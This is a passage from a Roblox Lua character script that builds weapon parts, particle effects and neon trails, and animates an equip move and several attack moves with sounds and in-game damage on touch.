3010 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3011 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3012 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
3013 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3014 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
3015 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3016 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3017 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3018 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
3019 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3020 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
3021 | ||
3022 | p = game.Players.LocalPlayer | |
3023 | char = p.Character | |
3024 | torso = char.Torso | |
3025 | neck = char.Torso.Neck | |
3026 | hum = char.Humanoid | |
3027 | hum.MaxHealth = 1527500 | |
3028 | wait() | |
3029 | hum.Health =hum.MaxHealth | |
3030 | ||
3031 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
3032 | particleemitter.VelocitySpread = 180 | |
3033 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3034 | particleemitter.Speed = NumberRange.new(2) | |
3035 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3036 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3037 | particleemitter.Rate = 100 | |
3038 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3039 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3040 | particleemitter.LightEmission = 0.8 | |
3041 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3042 | ||
3043 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
3044 | particleemitter.VelocitySpread = 180 | |
3045 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3046 | particleemitter.Speed = NumberRange.new(2) | |
3047 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3048 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3049 | particleemitter.Rate = 100 | |
3050 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3051 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3052 | particleemitter.LightEmission = 0.8 | |
3053 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3054 | ||
3055 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
3056 | particleemitter.VelocitySpread = 180 | |
3057 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3058 | particleemitter.Speed = NumberRange.new(2) | |
3059 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
3060 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3061 | particleemitter.Rate = 100 | |
3062 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3063 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3064 | particleemitter.LightEmission = 0.8 | |
3065 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3066 | ||
3067 | particleemitter.Enabled = true | |
3068 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
3069 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
3070 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
3071 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
3072 | for i=0,1,0.005 do | |
3073 | swait() | |
3074 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3075 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3076 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3077 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3078 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3079 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3080 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3081 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3082 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3083 | end | |
3084 | for i=0,1,0.04 do | |
3085 | swait() | |
3086 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3087 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3088 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3089 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3090 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3091 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3092 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3093 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3094 | end | |
3095 | attack = false | |
3096 | end | |
3097 | end | |
3098 | end) | |
3099 | ||
3100 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
3101 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
3102 | prt.Anchored=true | |
3103 | prt.CFrame=cframe | |
3104 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
3105 | game:GetService("Debris"):AddItem(prt,2) | |
3106 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
3107 | for i=0,1,delay do | |
3108 | wait() | |
3109 | Part.CFrame=Part.CFrame | |
3110 | Part.Transparency=i | |
3111 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
3112 | end | |
3113 | Part.Parent=nil | |
3114 | end),prt,msh) | |
3115 | end | |
3116 | ||
3117 | TrailDeb = false | |
3118 | ||
3119 | function equipanim() | |
3120 | attack=true | |
3121 | Humanoid.WalkSpeed = 0 | |
3122 | if TrailDeb == false then | |
3123 | TrailDeb = true | |
3124 | end | |
3125 | ||
3126 | ||
3127 | coroutine.wrap(function() | |
3128 | local Old = handle.CFrame.p | |
3129 | while wait()do | |
3130 | if not TrailDeb then break end | |
3131 | local New = handle.CFrame.p | |
3132 | local Mag =(Old -New).magnitude | |
3133 | local Dis =(Old +New)/2 | |
3134 | local Trail = Instance.new("Part",Character) | |
3135 | Trail.Material = "Neon" | |
3136 | Trail.Anchored = true | |
3137 | Trail.CanCollide = false | |
3138 | Trail.BrickColor = TorsoColor | |
3139 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3140 | Trail.TopSurface = 0 | |
3141 | Trail.BottomSurface = 0 | |
3142 | Trail.formFactor = "Custom" | |
3143 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3144 | local ms = Instance.new("BlockMesh",Trail) | |
3145 | ms.Scale = Vector3.new(1,1,1) | |
3146 | local TM = Instance.new("CylinderMesh",Trail) | |
3147 | TM.Scale = Vector3.new(1,1,1) | |
3148 | Old = New | |
3149 | coroutine.wrap(function() | |
3150 | for i = 1,0,-0.1 do | |
3151 | wait() | |
3152 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3153 | end | |
3154 | Trail:remove() | |
3155 | end)() | |
3156 | coroutine.wrap(function() | |
3157 | for i = 1,10 do | |
3158 | wait() | |
3159 | Trail.Transparency = Trail.Transparency +0.1 | |
3160 | end end)()end end)() | |
3161 | coroutine.wrap(function() | |
3162 | local Old = Handle.CFrame.p | |
3163 | while wait()do | |
3164 | if not TrailDeb then break end | |
3165 | local New = Handle.CFrame.p | |
3166 | local Mag =(Old -New).magnitude | |
3167 | local Dis =(Old +New)/2 | |
3168 | local Trail = Instance.new("Part",Character) | |
3169 | Trail.Material = "Neon" | |
3170 | Trail.Anchored = true | |
3171 | Trail.CanCollide = false | |
3172 | Trail.BrickColor = TorsoColor | |
3173 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3174 | Trail.TopSurface = 0 | |
3175 | Trail.BottomSurface = 0 | |
3176 | Trail.formFactor = "Custom" | |
3177 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3178 | local ms = Instance.new("BlockMesh",Trail) | |
3179 | ms.Scale = Vector3.new(1,1,1) | |
3180 | local TM = Instance.new("CylinderMesh",Trail) | |
3181 | TM.Scale = Vector3.new(1,1,1) | |
3182 | Old = New | |
3183 | coroutine.wrap(function() | |
3184 | for i = 1,0,-0.1 do | |
3185 | wait() | |
3186 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3187 | end | |
3188 | Trail:remove() | |
3189 | end)() | |
3190 | coroutine.wrap(function() | |
3191 | for i = 1,10 do | |
3192 | wait() | |
3193 | Trail.Transparency = Trail.Transparency +0.1 | |
3194 | end end)()end end)() | |
3195 | coroutine.wrap(function() | |
3196 | local Old = Handle2.CFrame.p | |
3197 | while wait()do | |
3198 | if not TrailDeb then break end | |
3199 | local New = Handle2.CFrame.p | |
3200 | local Mag =(Old -New).magnitude | |
3201 | local Dis =(Old +New)/2 | |
3202 | local Trail = Instance.new("Part",Character) | |
3203 | Trail.Material = "Neon" | |
3204 | Trail.Anchored = true | |
3205 | Trail.CanCollide = false | |
3206 | Trail.BrickColor = TorsoColor | |
3207 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3208 | Trail.TopSurface = 0 | |
3209 | Trail.BottomSurface = 0 | |
3210 | Trail.formFactor = "Custom" | |
3211 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3212 | local ms = Instance.new("BlockMesh",Trail) | |
3213 | ms.Scale = Vector3.new(1,1,1) | |
3214 | local TM = Instance.new("CylinderMesh",Trail) | |
3215 | TM.Scale = Vector3.new(1,1,1) | |
3216 | Old = New | |
3217 | coroutine.wrap(function() | |
3218 | for i = 1,0,-0.1 do | |
3219 | wait() | |
3220 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3221 | end | |
3222 | Trail:remove() | |
3223 | end)() | |
3224 | coroutine.wrap(function() | |
3225 | for i = 1,10 do | |
3226 | wait() | |
3227 | Trail.Transparency = Trail.Transparency +0.1 | |
3228 | end end)()end end)() | |
3229 | so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) | |
3230 | for i=0,1,0.005 do | |
3231 | swait() | |
3232 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) | |
3233 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3234 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3235 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3236 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3237 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3238 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3239 | end | |
3240 | for i=0,1,0.005 do | |
3241 | swait() | |
3242 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) | |
3243 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3244 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3245 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3246 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3247 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3248 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3249 | end | |
3250 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3251 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3252 | for i=0,1,0.005 do | |
3253 | swait() | |
3254 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3255 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3256 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3257 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3258 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3259 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3260 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3261 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3262 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3263 | end | |
3264 | for i=0,1,0.04 do | |
3265 | swait() | |
3266 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3267 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3268 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3269 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3270 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3271 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3272 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3273 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3274 | end | |
3275 | --dmgstop() | |
3276 | attack=false | |
3277 | Humanoid.WalkSpeed = 12 | |
3278 | if TrailDeb == true then | |
3279 | TrailDeb = false | |
3280 | end | |
3281 | end | |
3282 | ||
3283 | function attackone() | |
3284 | attack=true | |
3285 | if TrailDeb == false then | |
3286 | TrailDeb = true | |
3287 | end | |
3288 | ||
3289 | ||
3290 | coroutine.wrap(function() | |
3291 | local Old = Handle.CFrame.p | |
3292 | while wait()do | |
3293 | if not TrailDeb then break end | |
3294 | local New = Handle.CFrame.p | |
3295 | local Mag =(Old -New).magnitude | |
3296 | local Dis =(Old +New)/2 | |
3297 | local Trail = Instance.new("Part",Character) | |
3298 | Trail.Material = "Neon" | |
3299 | Trail.Anchored = true | |
3300 | Trail.CanCollide = false | |
3301 | Trail.BrickColor = TorsoColor | |
3302 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3303 | Trail.TopSurface = 0 | |
3304 | Trail.BottomSurface = 0 | |
3305 | Trail.formFactor = "Custom" | |
3306 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3307 | local ms = Instance.new("BlockMesh",Trail) | |
3308 | ms.Scale = Vector3.new(1,1,1) | |
3309 | local TM = Instance.new("CylinderMesh",Trail) | |
3310 | TM.Scale = Vector3.new(1,1,1) | |
3311 | Old = New | |
3312 | coroutine.wrap(function() | |
3313 | for i = 1,0,-0.1 do | |
3314 | wait() | |
3315 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3316 | end | |
3317 | Trail:remove() | |
3318 | end)() | |
3319 | coroutine.wrap(function() | |
3320 | for i = 1,10 do | |
3321 | wait() | |
3322 | Trail.Transparency = Trail.Transparency +0.1 | |
3323 | end end)()end end)() | |
3324 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3325 | for i=0,1,0.08 do | |
3326 | swait() | |
3327 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) | |
3328 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) | |
3329 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3330 | Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
3331 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3332 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) | |
3333 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3334 | end | |
3335 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) | |
3336 | so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) | |
3337 | for i=0,1,0.1 do | |
3338 | swait() | |
3339 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) | |
3340 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3341 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3342 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) | |
3343 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3344 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) | |
3345 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3346 | end | |
3347 | --dmgstop() | |
3348 | attack=false | |
3349 | con1:disconnect() | |
3350 | if TrailDeb == true then | |
3351 | TrailDeb = false | |
3352 | end | |
3353 | end | |
3354 | ||
3355 | function attacktwo() | |
3356 | attack=true | |
3357 | if TrailDeb == false then | |
3358 | TrailDeb = true | |
3359 | end | |
3360 | ||
3361 | ||
3362 | coroutine.wrap(function() | |
3363 | local Old = Handle2.CFrame.p | |
3364 | while wait()do | |
3365 | if not TrailDeb then break end | |
3366 | local New = Handle2.CFrame.p | |
3367 | local Mag =(Old -New).magnitude | |
3368 | local Dis =(Old +New)/2 | |
3369 | local Trail = Instance.new("Part",Character) | |
3370 | Trail.Material = "Neon" | |
3371 | Trail.Anchored = true | |
3372 | Trail.CanCollide = false | |
3373 | Trail.BrickColor = TorsoColor | |
3374 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3375 | Trail.TopSurface = 0 | |
3376 | Trail.BottomSurface = 0 | |
3377 | Trail.formFactor = "Custom" | |
3378 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3379 | local ms = Instance.new("BlockMesh",Trail) | |
3380 | ms.Scale = Vector3.new(1,1,1) | |
3381 | local TM = Instance.new("CylinderMesh",Trail) | |
3382 | TM.Scale = Vector3.new(1,1,1) | |
3383 | Old = New | |
3384 | coroutine.wrap(function() | |
3385 | for i = 1,0,-0.1 do | |
3386 | wait() | |
3387 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3388 | end | |
3389 | Trail:remove() | |
3390 | end)() | |
3391 | coroutine.wrap(function() | |
3392 | for i = 1,10 do | |
3393 | wait() | |
3394 | Trail.Transparency = Trail.Transparency +0.1 | |
3395 | end end)()end end)() | |
3396 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3397 | for i=0,1,0.08 do | |
3398 | swait() | |
3399 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3400 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3401 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3402 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) | |
3403 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3404 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
3405 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3406 | end | |
3407 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
3408 | so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) | |
3409 | for i=0,1,0.1 do | |
3410 | swait() | |
3411 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3412 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3413 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3414 | Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) | |
3415 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3416 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3417 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3418 | end | |
3419 | --dmgstop() | |
3420 | attack=false | |
3421 | con1:disconnect() | |
3422 | if TrailDeb == true then | |
3423 | TrailDeb = false | |
3424 | end | |
3425 | end | |
3426 | ||
3427 | function attackthree() | |
3428 | attack=true | |
3429 | if TrailDeb == false then | |
3430 | TrailDeb = true | |
3431 | end | |
3432 | ||
3433 | ||
3434 | coroutine.wrap(function() | |
3435 | local Old = Handle.CFrame.p | |
3436 | while wait()do | |
3437 | if not TrailDeb then break end | |
3438 | local New = Handle.CFrame.p | |
3439 | local Mag =(Old -New).magnitude | |
3440 | local Dis =(Old +New)/2 | |
3441 | local Trail = Instance.new("Part",Character) | |
3442 | Trail.Material = "Neon" | |
3443 | Trail.Anchored = true | |
3444 | Trail.CanCollide = false | |
3445 | Trail.BrickColor = TorsoColor | |
3446 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3447 | Trail.TopSurface = 0 | |
3448 | Trail.BottomSurface = 0 | |
3449 | Trail.formFactor = "Custom" | |
3450 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3451 | local ms = Instance.new("BlockMesh",Trail) | |
3452 | ms.Scale = Vector3.new(1,1,1) | |
3453 | local TM = Instance.new("CylinderMesh",Trail) | |
3454 | TM.Scale = Vector3.new(1,1,1) | |
3455 | Old = New | |
3456 | coroutine.wrap(function() | |
3457 | for i = 1,0,-0.1 do | |
3458 | wait() | |
3459 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3460 | end | |
3461 | Trail:remove() | |
3462 | end)() | |
3463 | coroutine.wrap(function() | |
3464 | for i = 1,10 do | |
3465 | wait() | |
3466 | Trail.Transparency = Trail.Transparency +0.1 | |
3467 | end end)()end end)() | |
3468 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) | |
3469 | for i=0,1,0.08 do | |
3470 | swait() | |
3471 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) | |
3472 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
3473 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3474 | Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) | |
3475 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3476 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3) | |
3477 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3478 | end | |
3479 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
3480 | so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) | |
3481 | for i=0,1,0.05 do | |
3482 | swait() | |
3483 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
